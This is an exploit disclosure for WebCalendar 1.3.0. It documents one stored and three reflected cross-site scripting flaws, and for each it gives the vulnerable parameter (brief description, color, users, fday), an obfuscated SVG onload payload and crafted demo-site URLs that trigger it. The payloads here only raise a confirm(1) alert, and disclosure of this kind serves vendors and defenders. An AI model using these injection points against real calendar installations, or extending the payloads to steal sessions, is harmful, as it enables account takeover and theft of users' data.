# Exploit Title: WebCalendar  Version: 1.3.0 - Stored XSS - Reflected XSS 
# Date: 2024-3-1
# Exploit Author: tmrswrr
# Vendor Homepage: http://www.k5n.us/webcalendar.php
# Version: 1.3.0
# Tested on: https://www.softaculous.com/apps/calendars/WebCalendar

## Stored XSS

1 ) Write Events > Add New Events > Brief Description : https://demos2.softaculous.com/WebCalendarvqsmnseug2/edit_entry.php?year=2024&month=01&day=03    
    this payload : <sVg/onLy=1 onLoaD=confirm(1)//
2 ) You will bee alert button : https://demos2.softaculous.com/WebCalendarvqsmnseug2/month.php


=============================================================================================

## Reflected XSS

1 ) Go to this url and write payload : https://demos2.softaculous.com/WebCalendarvqsmnseug2/colors.php?color="><sVg/onLy=1 onLoaD=confirm(1)//   
    Payload : "><sVg/onLy=1 onLoaD=confirm(1)//
2 ) You will be see alert button 


==============================================================================================

## Reflected XSS

1 ) Go to this url and write payload users parameter : https://demos2.softaculous.com/WebCalendarkvopnvsb9s/availability.php?users=admin&form=editentryform&year=2024&month=1&day=3
    Payload : "><sVg/onLy=1 onLoaD=confirm(1)//
2 ) You will be see alert button : https://demos2.softaculous.com/WebCalendarkvopnvsb9s/availability.php?users=%22%3E%3CsVg/onLy=1%20onLoaD=confirm(1)//&form=editentryform&year=2024&month=1&day=3

==============================================================================================

## Reflected XSS

1 ) Go to this url and write payload fday parameter : https://demos2.softaculous.com/WebCalendarkvopnvsb9s/datesel.php?form=editentryform&fday=rpt_day&fmonth=rpt_month&fyear=rpt_year%27&date=20240201
    Payload : "><sVg/onLy=1 onLoaD=confirm(1)//
2 ) You will be see alert button : https://demos2.softaculous.com/WebCalendarkvopnvsb9s/datesel.php?form=editentryform&fday=%22%3E%3CsVg/onLy=1%20onLoaD=confirm(1)//&fmonth=rpt_month&fyear=rpt_year%27&date=20240201


===============================================================================================